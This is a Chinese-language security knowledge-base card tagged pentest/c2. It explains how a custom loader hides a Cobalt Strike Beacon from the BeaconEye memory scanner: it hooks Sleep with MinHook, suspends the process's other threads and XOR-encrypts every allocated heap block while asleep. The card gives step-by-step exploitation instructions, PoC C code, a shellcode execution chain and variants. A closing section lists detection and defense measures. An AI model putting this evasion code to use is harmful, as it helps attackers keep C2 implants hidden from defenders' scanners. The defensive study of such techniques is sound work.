♧ Godown 安全知识树

Loader 挂钩 Sleep + 挂起线程 + HeapWalk 全堆 XOR 加密:睡眠窗口规避 BeaconEye 堆内存扫描

pentest/c2 · verified

一句话结论

内存扫描器只在特定时机采样本进程内存,因此在 C2 睡眠窗口把明文的堆隐藏起来即可躲过 BeaconEye 一类堆内存扫描:在自己的 loader 中用 MinHook 挂钩 kernel32!Sleep,当睡眠时长超过阈值时先挂起本进程其它全部线程,再用 HeapWalk(GetProcessHeap(), ...) 枚举所有 PROCESS_HEAP_ENTRY_BUSY 堆块并原地 XOR 加密,调用原始 Sleep,醒来后再 XOR 解密并恢复线程——文章中带钩子时 BeaconEye 扫描不到 Beacon,把 Sleep 设为 0(不进入加密分支)后立刻被 BeaconEye 检出并 dump 出 Beacon 配置。

原理

  • 扫描时机与明文窗口:AV/EDR 的内存扫描不是持续进行,而是在进程空闲/睡眠期采样;BeaconEye 一类工具通过扫描进程内存中的 Beacon 配置/特征识别 C2。若能在睡眠窗口把装载 Beacon 的进程内存变为密文,扫描器就只能看到随机数据。
  • CS 自带 sleep_mask 的缺口:Cobalt Strike 的 sleep_mask 会在睡眠期加密节区与堆,但原始 shellcode loader、关闭 sleep_mask、sleep 0 或自定义 beacon 场景下,堆中的 Beacon 运行时数据仍是明文;文章正是先把 sleep 0 作为对照组——BeaconEye 立即命中 SleepTest.exe 并打印宿主机、端口、UserAgent、HTTP URI 等配置(Configuration Address 也被给出)。
  • Hook Sleep 的时机控制:MH_CreateHookApi(L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest) 让 Beacon 每次心跳调用 Sleep 时进入自定义函数;dwMilliseconds > 3000 才执行加密逻辑,短睡眠直接透传原始 Sleep,避免频繁加解密与误伤。
  • 为什么必须挂起其它线程:堆被整体加密后,若其它线程在睡眠期间访问堆对象会读到密文并崩溃/破坏数据;调用 CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) + Thread32First/Next 枚举线程,按 th32OwnerProcessID == GetCurrentProcessId() 且 th32ThreadID != 当前线程 过滤,OpenThread(THREAD_ALL_ACCESS) + SuspendThread 挂起所有工作线程,保证加密窗口内只有本线程在运行。醒来解密后再逐个 ResumeThread。
  • 为什么用 HeapWalk:HeapWalk(GetProcessHeap(), &entry) 枚举默认堆中的内存块,PROCESS_HEAP_ENTRY_BUSY 标志表示块已分配;对每块 lpData/cbData 原地 XOR,可以覆盖 Beacon 在堆上的配置、会话数据与结构体。加解密同一函数(XOR 自逆)。
  • 实现细节与坑:文章 xor_bidirectional_encode 中 pShellcode[i] = pShellcode[i] ^ bKey[j % 8] + 1; 受运算符优先级影响实际是 ^ (bKey[..] + 1),且 j > sKeySize 的复位逻辑不严谨;工程化时应使用明确括号与周期正确的密钥流。HeapWalk 只遍历默认堆,VirtualAlloc 私有页、其它进程堆、PE 映射区不会覆盖,需按目标内存分布决定是否补充 VirtualQueryEx 或 HeapWalk 其它堆。
  • 效果边界:文章实测带钩子时两次 BeaconEye 扫描(分别扫 44 与 49 个进程)均返回 "No beacon processes found",Beacon 正常上线且可执行命令;对照组 sleep 0 时 BeaconEye 输出 Keys Found: True 与 Beacon 配置,证明规避来自睡眠期堆加密。

触发条件

  • Windows 目标上由自写 loader 反射加载 Beacon/自定义 C2 载荷,且攻击者能在执行前安装 Sleep 钩子(MinHook/Detours)。
  • C2 心跳 Sleep 时长大于钩子阈值(文章 3000ms),使加密窗口覆盖扫描时机。
  • 进程内其它线程可被 SuspendThread 挂起,且睡眠期无必须持续运行的线程(否则会卡顿/超时)。
  • 目标检测依赖进程内存(尤其堆)中的明文特征,且未在唤醒窗口或随机时机反复采样;未对 Sleep inline hook、堆权限/内容突变做行为检测。

利用步骤

  1. 在 loader 中安装 MinHook:MH_Initialize(),MH_CreateHookApi(L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest),MH_EnableHook(MH_ALL_HOOKS)。
  2. 在 HookedSleep 中判断 dwMilliseconds > 3000;满足则 PendingThread(GetCurrentProcessId(), GetCurrentThreadId()) 挂起其它线程。
  3. Stackencryption():SecureZeroMemory 初始化 PROCESS_HEAP_ENTRY,循环 HeapWalk(GetProcessHeap(), &entry),对 entry.wFlags & PROCESS_HEAP_ENTRY_BUSY 的块以固定密钥 XOR 加密 entry.lpData[0..cbData)。
  4. 调用原始 SleepTest(dwMilliseconds) 进入睡眠;醒来后再调用一次 Stackencryption() 解密。
  5. RestoreThreads(...) 恢复所有被挂起线程。
  6. 执行 shellcode(文章用 VirtualAllocEx + WriteProcessMemory + VirtualProtectEx 后 EnumChildWindows(NULL, (WNDENUMPROC)sh, NULL) 触发),Beacon 上线后用 BeaconEye 扫描验证无命中;设 sleep 0 做对照证明链路有效。

PoC

// MinHook 挂钩 Sleep
void(WINAPI* SleepTest)(DWORD);
void WINAPI HookedSleep(DWORD ms) {
    if (ms > 3000) {
        PendingThread(GetCurrentProcessId(), GetCurrentThreadId()); // 挂起其它线程
        Stackencryption();                                          // XOR 加密全部 BUSY 堆块
        SleepTest(ms);                                              // 原始 Sleep
        Stackencryption();                                          // 解密
        RestoreThreads(GetCurrentProcessId(), GetCurrentThreadId()); // 恢复线程
    } else {
        SleepTest(ms);
    }
}

// 全堆遍历 + XOR
const char key[] = "DWADWADWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASADSADSADSADAS";
PROCESS_HEAP_ENTRY entry;
void Stackencryption() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(GetProcessHeap(), &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            xor_bidirectional_encode((PBYTE)entry.lpData, entry.cbData, (PBYTE)key, sizeof(key));
        }
    }
}

// 挂起/恢复:CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0) + Thread32First/Next
// 过滤 th32OwnerProcessID==pid && th32ThreadID!=当前,OpenThread+S SuspendThread/ResumeThread
BOOL HookTest() {
    if (MH_Initialize() != MH_OK) return FALSE;
    if (MH_CreateHookApi(L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest) != MH_OK) return FALSE;
    return MH_EnableHook(MH_ALL_HOOKS) == MH_OK;
}

实测结果(原文截图):带钩子的 SleepTest.exe 在 BeaconEye 中显示 No beacon processes found;sleep 0 时同进程被检出并打印配置;SleepTest2.exe 带钩子再次扫描无命中且 Beacon 正常上线、可执行命令。

变体与关联

  • 变体:用 Detours 替代 MinHook;密钥流换成 RC4/SystemFunction032/033 或随机密钥;加密范围改为 VirtualQueryEx 找到的私有内存 + 堆,兼顾 VirtualAlloc 分配的 shellcode。
  • 变体:不挂 Sleep,而用定时器/APC/独立线程在固定周期加解密(Ekko、Foliage 等思路)。
  • 关联:[[pentest-c2-shellcodefluctuation-sleep-hook-encrypt-rw]](同样 Hook Sleep,但加密目标是 VirtualQueryEx 定位的可执行/Beacon 页并翻转 RW/RWX,本卡是 HeapWalk 遍历整堆);[[pentest-c2-cs-custom-sleepmask-xor-userwx-evasion]](CS 自带 sleepmask 的自定义 XOR,作用于 Beacon 节区);[[pentest-c2-veh-sleep-hook-on-demand-executable-evasion]](Sleep 周期切换可执行属性);[[pentest-c2-cs-sleepmask-evasive-sleep-timerqueue-ntcontinue-rc4]]、[[pentest-c2-ekko-timer-queue-sleep-obfuscation]]、[[pentest-c2-deathsleep-thread-termination-context-restore]](其它睡眠期隐藏实现)。
  • 边界:HeapWalk 只覆盖默认堆;线程挂起期间若扫描器主动注入/探测可发现线程全挂与高熵堆;EDR 可检测 Sleep inline hook(函数头跳转、非模块 trampoline)与堆内容整体翻转;唤醒窗口仍可能被随机化扫描命中。

检测与防御

  • 检测:kernel32!Sleep 函数入口被 inline hook(trampoline/跳转到非模块地址);进程内大量线程在同一时刻进入 Suspend 状态、睡眠结束后集中 Resume;睡眠期间默认堆各块内容整体变为高熵、醒来恢复——可对堆做两次采样比对。
  • 检测:BeaconEye 类工具改为随机时机多次采样,且在唤醒窗口内扫描;对堆做熵值/已知明文/YARA 特征匹配,而不只看可执行页。
  • 防御:EDR 监控 HeapWalk/SuspendThread 批量调用、Sleep 钩子与堆内容突变;启用 PPL/内存完整性、限制对自身进程的线程挂起;对 C2 流量与行为链(上线、心跳、命名管道/HTTP 特征)做网络侧检测,降低对内存特征的单一依赖。